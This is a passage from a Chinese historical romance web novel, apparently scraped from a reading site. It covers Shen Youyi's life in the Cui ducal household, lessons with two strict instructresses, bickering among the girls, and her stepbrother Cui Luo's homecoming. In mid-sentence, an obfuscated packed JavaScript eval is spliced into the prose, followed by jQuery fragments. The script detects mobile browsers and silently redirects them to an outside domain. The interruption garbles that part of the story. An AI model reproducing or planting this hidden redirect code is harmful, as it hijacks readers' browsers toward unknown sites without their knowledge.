屋子里的人这才恍然大悟,自打世子崔络向陛下自请去外地赴任历练后,年年类似这种阖家团圆的日子,崔老太君总是要伤感一番。那是她的长子嫡孙,小小年纪就没了生母,她打心眼里最疼他。
孙女的话妥帖到了崔老太君心里,方才那点子伤感立马散了。她招招手叫沈幼宜过去身边,将人搂到怀里,这才重新笑着对众人道:“瞧瞧,咱们家五娘子的小嘴甜到了我老婆子心上,定是来的时候偷偷抹蜜了。”
众人跟着又是一番笑,二房和三房的妯娌俩同时瞪了自家女儿一眼,暗骂她们不争气,崔家正经的嫡孙女反倒不如一个寡妇大嫂带过来的女儿讨老人家欢心。
府上人热热闹闹吃了顿团圆饭,崔老太君乏了,遣了晚辈们离去。
今儿不是休沐日,沈幼宜兄弟姊妹几个还得去族学上课,三房的两位郎君年岁十九,早在国子监上了五年学了。剩下府上最小的郎君就是沈幼宜的亲弟,去年年初继父就新聘了夫子给他启蒙。
女学这边就不同,热闹多了。除了两年前三房的庶长女嫁了出去,其他四位娘子尚在闺阁之中,凡是没议亲的女郎都得来族学里跟着女官学规矩。
陆白两位女官是从宫里退出来的,崔家特意请了她们教导女郎们规矩礼仪。两人一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751050|157609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个比一个严厉,沈幼宜姐妹四个过去时,陆女官已经在台上等着了。
今儿的内容仍旧没什么新意,讲的还是女德女戒之类。沈幼宜看似挺直脊背在用心听讲,实则早已走了神,在想继兄何时归家。待终于熬完这堂课,二房的四姐姐崔雪珠立马坐到了她身旁。
只见她鬼鬼祟祟的左看右看,待陆女官的身影彻底走远了,这才偷摸着从怀里掏出两包糕点,低声问道:“五妹妹,我母亲小厨房里新做的玫瑰糕,你要不要尝尝?”
“四姐姐方才没吃饱吗?”沈幼宜掩唇反问。
崔雪珠摸了摸肚子,一脸幽怨:“你又不是不知道,我最爱吃了。可每次去祖母那边用饭,母亲总是提前三令五申叫我用个七分饱,就怕我在众人面前失了礼数。还好我机灵,叫婢子给我偷装了糕点。”
沈幼宜捂嘴偷笑,摇摇头道:“我不饿,四姐姐自己吃吧。”
两人正说着话,身侧突然传来一声冷笑:“就知道吃,你是猪吗?要是叫陆女官知道,你又把零嘴带到学堂来,看你还有什么话说?”
刚咽下一口糕点的崔雪珠听了,气的转过头去,含糊不清道:“有本事你就去说啊,当姐姐的要告妹妹的状,叫外头人知道了,看你还有什么好名声?”
崔雪妍被这话噎了个彻底,不服气的哼了哼。她就是看不惯崔雪珠跟沈幼宜成日里厮混在一起的那副样子,这两人,一个是庶子二叔的女儿,一个是寡妇继母带来的拖油瓶。
再反观自己,虽是庶出,可父亲乃一品国公爷,生母出自太原王氏,是以崔雪妍从来不觉得自己庶女的身份低人一等,可偏偏不如她们过的舒心,她心里能平衡吗?
“好了,都是自家姐妹,小心伤了和气。”见气氛有些凝固,三房的崔雪莹笑着出来打圆场。
她在崔家女郎中排行第二,沈幼宜三人都要叫她一声二姐姐。她素来有贤名,端方持重,在府上也是不争不抢,一直让着下头三个妹妹。她开了口,崔雪妍低声哼了哼,转身回到自己座位上。
一上午就这么如常平平淡淡过去了,晌午快要用饭时,还没有接到崔络的信。直到过了申时,崔络的贴身仆从风尘仆仆的入了府,见了崔老太君直跪下磕头道:“老太君,世子先去宫里向陛下述职了,他怕您老人家等着急,特叫我回来传信,世子约摸着半个时辰能出宫。”
崔老太君一连说了三个好,又转身对仆妇道:“告诉厨房的人,世子爱吃的菜,再多加几道。”
“哎”仆妇欢欢喜喜应下。
角落里的沈幼宜又是高兴又是担忧。高兴的是终于能见到继兄了,担忧的是怕他早忘了自己这个便宜妹妹。她小时候跟着母亲初入府时,胆子比兔子还小,性子又腼腆不爱说话。生怕说错做错什么,给母亲惹了麻烦,叫她们母女俩在国公府不好过。
那个时候,继兄虽然冷着一张脸不苟言笑,可却会安慰她,让她把国公府当家。也会在四姐姐崔雪珠初次取笑逗乐她时,替她撑腰。更会从国子监回来的路上,给她买她最爱的甜品吃。
是以府上的兄弟姊妹都怕他这个冷面大哥,沈幼宜虽有时心里也有些发怵,可更多时候是喜欢这位面容俊朗的继兄的。
崔老太君念孙心切,竟不顾自身身份,要去正门口等人。方从官署下值的崔临三兄弟,连口水都没来得及喝,又赶着跟了过去。总不能母亲在外头站着,当儿子的好好坐在里面。
约摸着等了有一刻钟,崔府的仆从欢喜的跑回来传信,喊道:“老太君,世子的马快过拐角了。”
就在他喘气间,果真有马蹄声由远及近传来,接着一匹高大的黑马出现在众人眼前,世子崔络手握缰绳,轻轻一拉,黑马的两只前蹄高高扬起。
他利落的翻身下马,扑通一声跪在崔老太君面前:“孙儿不孝,叫祖母忧心了。”